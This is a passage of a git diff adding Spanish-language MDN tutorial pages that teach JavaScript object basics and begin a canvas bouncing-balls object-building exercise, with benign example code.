+<p>Si está siguiendo esta evaluación como parte de un curso organizado, debe poder entregar su trabajo a su maestro / mentor para que lo marque. Si está aprendiendo solo, puede obtener la guía de calificación con bastante facilidad preguntando en el <a href="https://discourse.mozilla.org/t/adding-features-to-our-bouncing-balls-demo-assessment/24689">discussion thread for this exercise</a>, o en el <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC channel en <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Prueba a hacer el ejercicio primero — no hay nada que ganar con trampa!</p>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Object_building_practice", "", "Learn/JavaScript/Objects")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics">Object basics</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS">Object-oriented JavaScript for beginners</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes">Object prototypes</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Inheritance">Inheritance in JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON">Working with JSON data</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_building_practice">Object building practice</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">Adding features to our bouncing balls demo</a></li>
+</ul>
diff --git a/files/es/learn/javascript/objects/basics/index.html b/files/es/learn/javascript/objects/basics/index.html
new file mode 100644
index 0000000000..a04cdb6a81
--- /dev/null
+++ b/files/es/learn/javascript/objects/basics/index.html
@@ -0,0 +1,259 @@
+---
+title: Conceptos básicos de los objetos JavaScript
+slug: Learn/JavaScript/Objects/Basics
+tags:
+  - API
+  - Aprender
+  - Artículo
+  - JavaScript
+  - Novato
+  - Object
+  - Objeto
+  - Principiante
+  - Sintaxis
+  - instancia
+  - 'l10n:priority'
+  - notación de corchetes
+  - notación de punto
+  - objeto literal
+  - tehoría
+  - this
+translation_of: Learn/JavaScript/Objects/Basics
+---
+<div><font><font>{{LearnSidebar}}</font></font></div>
+
+<div>{{NextMenu("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects")}}</div>
+
+<p class="summary"><font><font>En éste artículo, veremos fundamentos de sintaxis de los objetos de JavaScript y revisaremos algunas características de JavaScript que ya hemos analizado anteriormente en el curso, reiterando el hecho de que muchas de las funciones con las que ya has tratado de hecho son objetos.</font></font></p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row"><font><font>Prerrequisitos:</font></font></th>
+   <td><font><font>Conocimientos básicos de informática, conocimientos básicos de HTML y CSS, familiaridad con los principios básicos de JavaScript (consulta </font></font><a href="/es/docs/Learn/JavaScript/First_steps"><font><font>Primeros pasos</font></font></a><font><font> y </font></font><a href="/es/docs/Learn/JavaScript/Building_blocks"><font><font>Bloques de construcción</font></font></a><font><font>).</font></font></td>
+  </tr>
+  <tr>
+   <th scope="row"><font><font>Objetivo:</font></font></th>
+   <td><font><font>Para comprender la teoría básica detrás de la programación orientada a objetos, cómo esto se relaciona con JavaScript ("la mayoría de las cosas son objetos") y cómo empezar a trabajar con objetos de JavaScript.</font></font></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Conceptos_básicos_de_objeto"><font><font>Conceptos básicos de objeto</font></font></h2>
+
+<p><font><font>Un objeto es una colección de datos relacionados y/o funcionalidad (que generalmente consta de algunas variables y funciones, que se denominan propiedades y métodos cuando están dentro de objetos). Vamos a trabajar a través de un ejemplo para mostrate cómo son.</font></font></p>
+
+<p><font><font>Para empezar, haz una copia local de nuestro </font><font>archivo </font></font><a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs.html"><font><font>oojs.html</font></font></a><font><font> . </font><font>Esto contiene muy poco: un elemento {{HTMLElement ("script")}} para que escribas tu código fuente en él. Lo </font><font>usaremos como base para explorar la sintaxis básica de los objetos.</font></font></p>
+
+<p><font><font>Al igual que con muchas cosas en JavaScript, la creación de un objeto a menudo comienza con la definición e iniciación de una variable. </font><font>Intenta ingresar lo siguiente debajo del código JavaScript que ya está en tu archivo, luego guarda y actualiza:</font></font></p>
+
+<pre class="brush: js notranslate"><font><font>var persona = {};</font></font></pre>
+
+<p><font><font>Si ingresas </font></font><code>persona</code><font><font> en tu entrada de texto y presionas el botón, debes obtener el siguiente resultado:</font></font></p>
+
+<pre class="brush: js notranslate"><font><font>[objeto Objeto]</font></font></pre>
+
+<p><font><font>¡Felicidades!, acabas de crear tu primer objeto. </font><font>¡Trabajo realizado! </font><font>Pero este es un objeto vacío, por lo que realmente no podemos hacer mucho con él. </font><font>Actualicemos nuestro objeto para que se vea así:</font></font></p>
+
+<pre class="brush: js notranslate"><font><font>var persona = {
+  nombre: ['Bob', 'Smith'],
+  edad: 32,
+  genero: 'masculino',
+  intereses: ['música', 'esquí'],
+  bio: function () {
+    alert(this.nombre[0] + '' + this.nombre[1] + ' tiene ' + this.edad + ' años. Le gusta ' + this.intereses[0] + ' y ' + this.intereses[1] + '.');
+  },
+  saludo: function() {
+    alert('Hola, Soy '+ this.nombre[0] + '. ');
+  }
+};</font></font>
+</pre>
+
+<p><font><font>Después de guardar y actualizar, intenta ingresar algunos de los siguientes en tu entrada de texto:</font></font></p>
+
+<pre class="brush: js notranslate"><font><font>persona.nombre
+persona.nombre[0]
+persona.edad
+persona.intereses[1]</font></font><font><font>
+persona.bio()
+persona.saludo()</font></font></pre>
+
+<p><font><font>¡Ahora tienes algunos datos y funcionalidades dentro de tu objeto, y ahora puedes acceder a ellos con una sintaxis simple y agradable!</font></font></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si tienes problemas para hacer que esto funcione, intenta comparar tu código con nuestra versión - ve <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-finished.html">oojs-finished.html</a> (también <a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-finished.html">ve que se ejecuta en vivo</a>). La versión en vivo te dará una pantalla en blanco, pero eso está bien. De nuevo, abre tu devtools e intenta escribir los comandos anteriores para ver la estructura del objeto.</p>
+</div>
+
+<p>Entonces, ¿qué está pasando aquí? Bien, un objeto se compone de varios miembros, cada uno de los cuales tiene un nombre (por ejemplo, <code>nombre</code> y <code>edad</code>) y un valor (por ejemplo, <code>['Bob', 'Smith']</code> y <code>32</code>). Cada par nombre/valor debe estar separado por una coma, y el nombre y el valor en cada caso están separados por dos puntos. La sintaxis siempre sigue este patrón:</p>
+
+<pre class="brush: js notranslate">var nombreObjeto = {
+  miembro1Nombre: miembro1Valor,
+  miembro2Nombre: miembro2Valor,
+  miembro3Nombre: miembro3Valor
+}</pre>
+
+<p>El valor de un miembro de un objeto puede ser prácticamente cualquier cosa: en nuestro objeto <code>persona </code>tenemos una cadena de texto, un número, dos arreglos y dos funciones. Los primeros cuatro elementos son elementos de datos y se denominan <strong>propiedades</strong> del objeto. Los dos últimos elementos son funciones que le permiten al objeto hacer algo con esos datos, y se les denomina <strong>métodos</strong> del objeto.</p>
+
+<p>Un objeto como este se conoce como un <strong>objeto literal </strong>— literalmente hemos escrito el contenido del objeto tal como lo fuimos creando. Esto está en contraste con los objetos instanciados de las clases, que veremos más adelante.</p>
+
+<p>Es muy común crear un objeto utilizando un objeto literal cuando deseas transferir una serie de elementos de datos relacionados y estructurados de alguna manera, por ejemplo, enviando una solicitud al servidor para ponerla en una base de datos. Enviar un solo objeto es mucho más eficiente que enviar varios elementos individualmente, y es más fácil de procesar que con un arreglo, cuando deseas identificar elementos individuales por nombre.</p>
+
+<h2 id="Notación_de_punto">Notación de punto</h2>
+
+<p>Arriba, accediste a las propiedades y métodos del objeto usando <strong>notación de punto (dot notation)</strong>. El nombre del objeto (<code>persona</code>) actúa como el <strong>espacio de nombre (namespace)</strong>; al cual se debe ingresar primero para acceder a cualquier elemento <strong>encapsulado</strong> dentro del objeto. A continuación, escribe un punto y luego el elemento al que deseas acceder: puede ser el nombre de una simple propiedad, un elemento de una propiedad de arreglo o una llamada a uno de los métodos del objeto, por ejemplo:</p>
+
+<pre class="brush: js notranslate">persona.edad
+persona.<font><font>intereses</font></font>[1]
+persona.bio()</pre>
+
+<h3 id="Espacios_de_nombres_secundarios">Espacios de nombres secundarios</h3>
+
+<p>Incluso es posible hacer que el valor de un miembro del objeto sea otro objeto. Por ejemplo, intenta cambiar el miembro nombre de</p>
+
+<pre class="brush: js notranslate">nombre: ['Bob', 'Smith'],</pre>
+
+<p>a</p>
+
+<pre class="brush: js notranslate">nombre : {
+  pila: 'Bob',
+  apellido: 'Smith'
+},</pre>
+
+<p>Aquí estamos creando efectivamente un <strong>espacio de nombre secundario (sub-namespace)</strong>. Esto suena complejo, pero en realidad no es así: para acceder a estos elementos solo necesitas un paso adicional que es encadenar con otro punto al final. Prueba estos:</p>
+
+<pre class="brush: js notranslate">persona.nombre.pila
+persona.nombre.apellido</pre>
+
+<p><strong>Importante</strong>: en este punto, también deberás revisar tu código y cambiar cualquier instancia de</p>
+
+<pre class="brush: js notranslate">nombre[0]
+nombre[1]</pre>
+
+<p>a</p>
+
+<pre class="brush: js notranslate">nombre.pila
+nombre.apellido</pre>
+
+<p>De lo contrario, sus métodos ya no funcionarán.</p>
+
+<h2 id="Notación_de_corchetes">Notación de corchetes</h2>
+
+<p>Hay otra manera de acceder a las propiedades del objeto, usando la notación de corchetes. En lugar de usar estos:</p>
+
+<pre class="brush: js notranslate">persona.edad
+persona.nombre.pila</pre>
+
+<p>Puedes usar</p>
+
+<pre class="brush: js notranslate">persona['edad']
+persona['nombre']['pila']</pre>
+
+<p>Esto se ve muy similar a cómo se accede a los elementos en un arreglo, y básicamente es lo mismo: en lugar de usar un número de índice para seleccionar un elemento, se esta utilizando el nombre asociado con el valor de cada miembro. No es de extrañar que los objetos a veces se denominen <strong>arreglos asociativos</strong>: asocian cadenas de texto a valores de la misma manera que las arreglos asocian números a valores.</p>
+
+<h2 id="Establecer_miembros_de_objetos">Establecer miembros de objetos</h2>
+
+<p>Hasta ahora solo hemos buscado recuperar (u <strong>obtener</strong>) miembros del objeto: también puede <strong>establecer</strong> (actualizar) el valor de los miembros del objeto simplemente declarando el miembro que deseas establecer (usando la notación de puntos o corchetes), de esta manera:</p>
+
+<pre class="brush: js notranslate">persona.edad = 45;
+persona['nombre']['apellido'] = 'Cratchit';</pre>
+
+<p>Intenta ingresar estas líneas y luego vuelve a ver a los miembros para ver cómo han cambiado:</p>
+
+<pre class="brush: js notranslate">persona.edad
+persona['nombre']['apellido']</pre>
+
+<p>Establecer miembros no solo es actualizar los valores de las propiedades y métodos existentes; también puedes crear miembros completamente nuevos. Prueba estos:</p>
+
+<pre class="brush: js notranslate">persona['ojos'] = 'avellana';
+persona.despedida = function() { alert("¡Adiós a todos!"); }</pre>
+
+<p>Ahora puedes probar a los nuevos miembros:</p>
+
+<pre class="brush: js notranslate">persona['ojos']
+person.despedida()</pre>
+
+<p>Un aspecto útil de la notación de corchetes es que se puede usar para establecer dinámicamente no solo los valores de los miembros, sino también los nombres de los miembros. Digamos que queremos que los usuarios puedan almacenar tipos de valores personalizados en sus datos personales, escribiendo el nombre y el valor del miembro en dos entradas de texto. Podríamos obtener esos valores de esta manera:</p>
+
+<pre class="brush: js notranslate">var nombrePerzonalizado = entradaNombre.value;
+var valorPerzonalizado = entradaValor.value;</pre>
+
+<p>entonces podríamos agregar este nuevo miembro nombre y valor al objeto <code>persona</code> de esta manera:</p>
+
+<pre class="brush: js notranslate">persona[nombrePerzonalizado] = valorPerzonalizado;</pre>
+
+<p>Para probar esto, intenta agregar las siguientes líneas en tu código, justo debajo de la llave de cierre del objeto <code>persona</code>:</p>
+
+<pre class="brush: js notranslate">var nombrePerzonalizado = 'altura';
+var valorPerzonalizado = '1.75m';
+persona[nombrePerzonalizado] = valorPerzonalizado;</pre>
+
+<p>Ahora intenta guardar y actualizar, e ingresa lo siguiente en tu entrada de texto:</p>
+
+<pre class="brush: js notranslate">persona.altura</pre>
+
+<p>Agregar una propiedad a un objeto no es posible con la notación de puntos, que solo puede aceptar un nombre de miembro literal, no un valor variable que apunte a un nombre.</p>
+
+<h2 id="¿Qué_es_this_este">¿Qué es "this" (este)?</h2>
+
+<p>Es posible que hayas notado algo un poco extraño en nuestros métodos. Mira esto, por ejemplo:</p>
+
+<pre class="brush: js notranslate"><font><font>saludo</font></font>: function() {
+  alert(<font><font>'¡Hola!, Soy '+ </font></font>this.nombre.pila + '.');
+}</pre>
+
+<p>Probablemente te estés preguntando qué es <code>"this"</code>. La palabra clave <code>this</code> se refiere al objeto actual en el que se está escribiendo el código, por lo que en este caso <code>this</code> es equivalente a la <code>persona</code>. Entonces, ¿por qué no escribir <code>persona</code> en su lugar? Como verás en el artículo <a href="/es/docs/Learn/JavaScript/Objects/Object-oriented_JS">JavaScript orientado a objetos para principiantes</a> cuando comenzaremos a crear constructores, etc., <code>this</code> es muy útil: siempre asegurará que se usen los valores correctos cuando cambie el contexto de un miembro (por ejemplo, dos diferentes instancias de objetos <code>persona</code>) pueden tener diferentes nombres, pero querráx usar su propio nombre al decir su saludo).</p>
+
+<p>Vamos a ilustrar lo que queremos decir con un par de objetos persona simplificados:</p>
+
+<pre class="brush: js notranslate">var persona1 = {
+  nombre: 'Chris',
+  saludo: function() {
+    alert(<font><font>'¡Hola!, Soy '+ </font></font>this.nombre + '.');
+  }
+}
+
+var persona2 = {
+  nombre: 'Brian',
+  saludo: function() {
+    alert(<font><font>'¡Hola!, Soy '+ </font></font>this.nombre + '.');
+  }
+}</pre>
+
+<p>En este caso, <code>persona1.saludo()</code> mostrará "<font><font>¡Hola!</font></font>, Soy Chris"; <code>persona2.saludo()</code> por otro lado mostrará "<font><font>¡Hola!</font></font>, Soy Brian", aunque el código del método es exactamente el mismo en cada caso. Como dijimos antes, <code>this</code> es igual al objeto en el que está el código; esto no es muy útil cuando se escriben objetos literales a mano, pero realmente se vuelve útil cuando se generan objetos dinámicamente (por ejemplo, usando constructores) Todo se aclarará más adelante.</p>
+
+<h2 id="Has_estado_usando_objetos_todo_el_tiempo">Has estado usando objetos todo el tiempo</h2>
+
+<p>A medida que has estado repasando estos ejemplos, probablemente hayas pensando que la notación de puntos que has usando es muy familiar. ¡Eso es porque la has estado usando a lo largo del curso! Cada vez que hemos estado trabajando en un ejemplo que utiliza una API de navegador incorporada o un objeto JavaScript, hemos estado usando objetos, porque tales características se crean usando exactamente el mismo tipo de estructuras de objetos que hemos estado viendo aquí, aunque más complejos que nuestros propios ejemplos personalizados.</p>
+
+<p>Entonces cuando usaste métodos de cadenas de texto como:</p>
+
+<pre class="brush: js notranslate">myCadena.split(',');</pre>
+
+<p>Estabas usando un método disponible en una instancia de la clase <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code>. Cada vez que creas una cadena en tu código, esa cadena se crea automáticamente como una instancia de String, y por lo tanto tiene varios métodos/propiedades comunes disponibles en ella.</p>
+
+<p>Cuando accediste al modelo de objetos del documento (document object model) usando líneas como esta:</p>
+
+<pre class="brush: js notranslate">var miDiv = document.createElement('div');
+var miVideo = document.querySelector('video');</pre>
+
+<p>Estaba usando métodos disponibles en una instancia de la clase <code><a href="/es/docs/Web/API/Document">Document</a></code>. Para cada página web cargada, se crea una instancia de <code>Document</code>, llamada <code>document</code>, que representa la estructura, el contenido y otras características de la página entera, como su URL. De nuevo, esto significa que tiene varios métodos/propiedades comunes disponibles en él.</p>
+
+<p>Lo mismo puede decirse de prácticamente cualquier otro Objeto/API incorporado que hayad estado utilizando: <code><a href="/es/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></code>, <code><a href="/es/docs/Web/JavaScript/Reference/Global_Objects/Math">Math</a></code>, etc.</p>
+
+<p>Ten en cuenta que los Objetos/API incorporados no siempre crean instancias de objetos automáticamente. Como ejemplo, la <a href="/es/docs/Web/API/Notifications_API">API de Notificaciones</a>, que permite que los navegadores modernos activen las notificaciones del sistema, requiere que crees una instancia de un nuevo objeto para cada notificación que desees disparar. Intenta ingresar lo siguiente en tu consola de JavaScript:</p>
+
+<pre class="brush: js notranslate">var miNotificacion = new Notification('¡Hola!');</pre>
+
+<p>De nuevo, veremos qué son los constructores en un artículo posterior.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Es útil pensar en la forma en que los objetos se comunican como <strong>paso de mensajes</strong> — cuando un objeto necesita otro objeto para realizar algún tipo de acción a menudo enviará un mensaje a otro objeto a través de uno de sus métodos, y esperará una respuesta, que conocemos como un valor de retorno.</p>
+</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p><font><font>Enhorabuena, has llegado al final de nuestro primer artículo sobre objetos JS: ahora debes tener una buena idea de cómo trabajar con objetos en JavaScript, incluida la creación de tus propios objetos simples. </font><font>También debes apreciar que los objetos son muy útiles como estructuras para almacenar datos y funcionalidades relacionadas; si trataras de hacer un seguimiento de todas las propiedades y métodos en nuestro </font></font><font><font>objeto </font></font><code>persona</code><font><font> como variables y funciones separadas, sería ineficiente y frustrante, y tendríamos el riesgo de chocar con otras variables y funciones que tienen los mismos nombres. </font><font>Los objetos nos permiten mantener la información segura y protegida en su propio paquete, fuera del peligro.</font></font></p>
+
+<p><font><font>En el próximo artículo comenzaremos a ver la teoría de programación orientada a objetos (OOP) y cómo se pueden usar dichas técnicas en JavaScript.</font></font></p>
+
+<p>{{NextMenu("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects")}}</p>
diff --git a/files/es/learn/javascript/objects/ejercicio_práctico_de_construcción_de_objetos/index.html b/files/es/learn/javascript/objects/ejercicio_práctico_de_construcción_de_objetos/index.html
new file mode 100644
index 0000000000..6dfaaf0d08
--- /dev/null
+++ b/files/es/learn/javascript/objects/ejercicio_práctico_de_construcción_de_objetos/index.html
@@ -0,0 +1,301 @@
+---
+title: Ejercicio práctico de construcción de objetos
+slug: Learn/JavaScript/Objects/Ejercicio_práctico_de_construcción_de_objetos
+translation_of: Learn/JavaScript/Objects/Object_building_practice
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects/Adding_bouncing_balls_features", "Learn/JavaScript/Objects")}}</div>
+
+<p class="summary">En los artículos anteriores se explicó lo fundamental de la teoría de los objetos en JavaScript asi como su sintaxis, para que Usted tenga un punto de partida sólido. En éste artículo, desarrollaremos un ejercicio práctico para ganar experiencia en la programación de objetos en JavaScript, con un resultado divertido y colorido.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Pre-requisitos:</th>
+   <td>Conocimientos básicos de computadores. Entendimiento básico de HTML y CSS. Familiaridad con los conceptos básicos de JavaScript (vea <a href="/es/docs/Learn/JavaScript/First_steps">Primeros Pasos con JavaScript</a> y <a href="/es/docs/Learn/JavaScript/Building_blocks">Elementos básicos de JavaScript</a>)  y OOJS (vea <a href="/es/docs/Learn/JavaScript/Objects/Basics">Conceptos básicos de los objetos JavaScript</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivos:</th>
+   <td>Ganar experiencia en el uso de objetos y el uso de programación orientada a objetos en un contexto realista.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Lanzemos_algunas_pelotas">Lanzemos algunas pelotas</h2>
+
+<p>Es éste artículo escribiremos un programa demo del juego clásico de pelotas que rebotan para mostrar la gran útilidad de los objetos en JavaScript. En éste demo las pelotas rebotaran en la pantalla y cambiaran de color cuando choquen unas con otras. Así, al final del ejemplo tendremos algo como esto:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13865/bouncing-balls.png" style="display: block; height: 614px; margin: 0px auto; width: 800px;"></p>
+
+<ol>
+</ol>
+
+<p>En este ejemplo se utilizará <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Canvas API</a> para dibujar las pelotas en la pantalla y la API <a href="/en-US/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame</a> para animar todo el contenido de la pantalla. No es necesario que conozca estas funciones previamente. Esperamos que al final de este artículo, quizás pueda estar interesado en explorar su uso y capacidades más en detalle. Durante este desarrollo usaremos objetos y algunas técnicas para hacer que las pelotas puedan rebotar en los bordes y comprobar cuando choquen entre ellas (ésto se conoce como <strong>detección de colisiones</strong>). </p>
+
+<h2 id="Primeros_pasos">Primeros pasos</h2>
+
+<p>Para comenzar haga una copia en su computador de los archivos:  <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/index.html">index.html</a></code>, <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/style.css">style.css</a></code>, y <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/main.js">main.js</a></code>. Estos contienen:</p>
+
+<ol>
+ <li>Un documento HTML sencillo con un elemento &lt;h1&gt;, un elemento &lt;canvas&gt; en el que podamos dibujar los gráficos y otros elementos para aplicar los estilos CSS y el código JavaScript. </li>
+ <li>Algunos estilos sencillos que servirán para ubicar el elemento <code>&lt;h1&gt;</code>, ocultar la barra de desplazamiento y los margenes del borde de la página (para que luzca mejor).</li>
+ <li>Un archivo JavaScript que sirve para definir el elemento <code>&lt;canvas&gt;</code> y las funciones que vamos a usar.</li>
+</ol>
+
+<p>La primera parte del script es:</p>
+
+<pre class="brush: js">var canvas = document.querySelector('canvas');
+
+var ctx = canvas.getContext('2d');
+
+var width = canvas.width = window.innerWidth;
+var height = canvas.height = window.innerHeight;</pre>
+
+<p>Este script obtiene una referencia del elemento <code>&lt;canvas&gt;</code>, luego llama al método <code><a href="/en-US/docs/Web/API/HTMLCanvasElement/getContext">getContext()</a></code> para definir un contexto en el cual se pueda comenzar a dibujar. La resultado de la variable  (<code>ctx</code>) es el objeto que representa directamente el área de dibujo del <code>&lt;canvas&gt;</code> y permite dibujar elementos 2D en él. </p>
+
+<p>A continuación se da valor a las variables <code>width</code> and <code>height</code> que corresponden al ancho y alto del elemento <em>canvas</em> (representado por las propiedades <code>canvas.width</code> y <code>canvas.height</code>), de manera que el alto y ancho coincidan con el alto y ancho del navegador (<em>viewport</em>)  cuyos valores se obtienen directamente de las propiedades <em>window.innerWidth </em>y <em>window.innerHeight</em>.</p>
+
+<p>Puede ver que en el código se encadenan varias asignaciones, para obtener valores más rápidamente. Esto se puede hacer.</p>
+
+<p>La última parte del script, es la siguiente:</p>
+
+<pre class="brush: js">function random(min, max) {
+  var num = Math.floor(Math.random() * (max - min + 1)) + min;
+  return num;
+}</pre>
+
+<p>Esta función recibe dos números como argumentos de entrada (valor mínimo y maximo) y devuelve un número aleatorio entre ellos.</p>
+
+<h2 id="Modelando_una_pelota_en_nuestro_programa">Modelando una pelota en nuestro programa</h2>
+
+<p>Nuestro programa tendrá montones de pelotas rebotando por toda la pantalla. Ya que todas las pelotas tendrán el mismo comportamiento, tiene sentido representarlas con un objeto. Empezamos definiendo un constructor para el objeto pelota (<em>Ball</em>), en nuestro código.</p>
+
+<pre class="brush: js">function Ball(x, y, velX, velY, color, size) {
+  this.x = x; //posición horizontal
+  this.y = y; //posición vertical
+  this.velX = velX; //velocidad horizontal
+  this.velY = velY; //velocidad vertical
+  this.color = color; //color
+  this.size = size; //tamaño
+}</pre>
+
+<p>Aquí incluimos algunos parámetros que serán las propiedades que cada pelota necesita para funcionar en nuestro programa: </p>
+
+<ul>
+ <li>las coordenadas  <code>x</code> e <code>y</code>— correspondientes a la posición horizontal y vertical de la pelota. Estas pueden variar entre un valor 0 (el la esquina superior izquierda) hasta el valor del ancho y alto del navegador ( esquina inferior derecha).</li>
+ <li>velocidad horizontal y vertical (<code>velX</code> y <code>velY</code>) — cada pelota tiene una velocidad vertical y horizontal; en la parte práctica, estos valores se añadirán a las coordenadas x e y cuando animemos el movimiento de las pelotas, así en cada incremento de visualización de <em>frame</em>, se desplazarán esta cantidad.</li>
+ <li><code>color</code> — cada pelota posee un color.</li>
+ <li><code>size</code> — cada pelota tiene un tamaño, este será su radio en pixels.</li>
+</ul>
+
+<p>Con esto se resuelven las propiedades del objeto, ¿Pero qué hacemos con los métodos? Ya que queremos que las pelotas realicen algo en nuestro programa. </p>
+
+<h3 id="Dibujando_las_pelotas">Dibujando las pelotas</h3>
+
+<p>Para dibujar, añadiremos el siguiente método <code>draw()</code> al prototipo del objeto <code>Ball():</code></p>
+
+<pre class="brush: js">Ball.prototype.draw = function() {
+  ctx.beginPath();
+  ctx.fillStyle = this.color;
+  ctx.arc(this.x, this.y, this.size, 0, 2 * Math.PI);
+  ctx.fill();
+}</pre>
+
+<p>Con esta función cada objeto pelota <code>Ball()</code> puede dibujarse en la pantalla utilizando el contexto 2D definido anteriormente (<code>ctx</code>)  </p>
+
+<ul>
+ <li>Primero usamos <code><a href="/en-US/docs/Web/API/CanvasRenderingContext2D/beginPath">beginPath()</a></code> para declarar que empezaremos a dibujar una forma en el <em>canvas</em>.</li>
+ <li>A continuación usamos el <code><a href="/en-US/docs/Web/API/CanvasRenderingContext2D/fillStyle">fillStyle</a></code> para definir el color de la forma. Haremos que coincida con la propiedad <code>color.</code></li>
+ <li>A continuación con el método <code><a href="/en-US/docs/Web/API/CanvasRenderingContext2D/arc">arc()</a></code> se traza un arco. Sus parámetros son:
+  <ul>
+   <li>La posición <code>x</code> e <code>y</code> del centro del arco. Corresponderán a las coordenadas  del centro de la pelota.</li>
+   <li>El radio del arco - que vendrá dado por la propiedad de tamaño <code>size</code> de la pelota.</li>
+   <li>Los últimos dos parámetros especifican el comienzo y final del arco en radianes. En este caso se especifican 0 y <code>2*PI</code> . Que corresponden a 0 y 360 grados. Esto es un circulo completo. Si se quisiese especificar únicamente medio círculo, 180 grados, se especificaría <code>PI</code>.</li>
+  </ul>
+ </li>
+ <li>Por último con el método <code><a href="/en-US/docs/Web/API/CanvasRenderingContext2D/fill">fill()</a></code> se finaliza el dibujo, y rellena el área de la curva especificada, según se indico con el <code><a href="/en-US/docs/Web/API/CanvasRenderingContext2D/fillStyle">fillStyle</a></code>. </li>
+</ul>
+
+<p>Ya se puede empezar a testear el objeto.</p>
+
+<ol>
+ <li>Guarde el código hasta ahora, y cargue el archivo HTML en un navegador.</li>
+ <li>Abra la consola de JavaScript en el navegador, y refresque la página, para que el tamaño del <em>canvas</em> modifique sus dimensiones adaptándose al <em>viewport</em> con la consola abierta. </li>
+ <li>Teclee lo siguiente en la consola para crear una nueva pelota.
+  <pre class="brush: js">var testBall = new Ball(50, 100, 4, 4, 'blue', 10);</pre>
+ </li>
+ <li>Pruebe a llamar a las variables miembro:
+  <pre class="brush: js">testBall.x
+testBall.size
+testBall.color
+testBall.draw()</pre>
+ </li>
+ <li>Al teclear la última línea, debería ver que la pelota se dibuja en alguna parte del <em>canvas</em>. </li>
+</ol>
+
+<h3 id="Actualizando_los_datos_de_la_pelota">Actualizando los datos de la pelota</h3>
+
+<p>Ahora podemos dibujar una pelota en una posición dada, pero para empezar a moverla, se necesita una función de actualización de algún tipo. Podemos añadir el código a continuación, al final del archivo de JavaScript, para añidir un método de actualización <code>update()</code> en el prototipo de la clase <code>Ball()</code></p>
+
+<pre class="brush: js">Ball.prototype.update = function() {
+  if ((this.x + this.size) &gt;= width) {
+    this.velX = -(this.velX);
+  }
+
+  if ((this.x - this.size) &lt;= 0) {
+    this.velX = -(this.velX);
+  }
+
+  if ((this.y + this.size) &gt;= height) {
+    this.velY = -(this.velY);
+  }
+
+  if ((this.y - this.size) &lt;= 0) {
+    this.velY = -(this.velY);
+  }
+
+  this.x += this.velX;
+  this.y += this.velY;
+}</pre>
+
+<p>Las cuatro primeras partes de la función verifican si la pelota a alcanzado el borde del <em>canvas</em>. Si es así, se invierte la dirección de la velocidad, para que la pelota se mueva en la dirección contraria. Así, si la pelota va hacia arriba, (<code>velY</code> positiva) , entonces la velocidad vertical es cambiada, para que se mueva hacia abajo (<code>velY</code> negativa).</p>
+
+<p>Los cuatro posibles casos son: </p>
+
+<ul>
+ <li>Verificar si la coordenada <code>x</code> es mayor que el ancho del <em>canvas</em> (la pelota está saliendo por el borde derecho).</li>
+ <li>Verificar si la coordenada <code>x</code> es menor que la coordenada 0 (la pelota está saliendo por el borde izquierdo)</li>
+ <li>Verificar si la coordenada <code>y</code> es mayor que la altura del <em>canvas</em> (la pelota está saliendo por el borde inferior).</li>
+ <li>Verificar si la coordenada <code>y</code> es menor que la coordenada 0 ( la pelota está saliendo por el borde superior).</li>
+</ul>
+
+<p>En cada caso, se ha tenido en cuenta el tamaño (<code>size</code>) de la pelota en los cálculos, ya que las coordenadas <code>x</code> e <code>y</code> corresponden al centro de la pelota, pero lo que queremos ver es el borde de la pelota cuando choca con el perímetro del <em>canvas</em> — que la pelota rebote, cuando está a medio camino fuera de el —.</p>
+
+<p>Las dos últimas líneas de código, suman  la velocidad en x (<code>velX</code>) al valor de la coordenada <code>x</code>  , y el valor de la velocidad en y (<code>velY</code>)  a la coordenada <code>y</code> —  con esto se consigue el efecto de que la pelota se mueva cada vez que este método es llamado. </p>
+
+<p>Llegados a este punto: ¡continuemos, con las animaciones!</p>
+
+<h2 id="Animando_las_pelotas">Animando las pelotas</h2>
+
+<p>Hagamos esto divertido! Ahora vamos a empezar a añadir pelotas al canvas, y animándolas.</p>
+
+<p>1. Primero, necesitamos algún sitio donde guardas las pelotas. El siguiente arreglo hará esta función — añádela al final de tu código. </p>
+
+<pre class="brush: js" dir="rtl">var balls = [];</pre>
+
+<p>Todos los programas que generan animaciones normalmente tienen un bucle de animación, que sirve para actualizar los datos del programa, para entonces generar la imagen correspondiente; esta es la estrategia básica para la mayor parte de juegos y programas similares. </p>
+
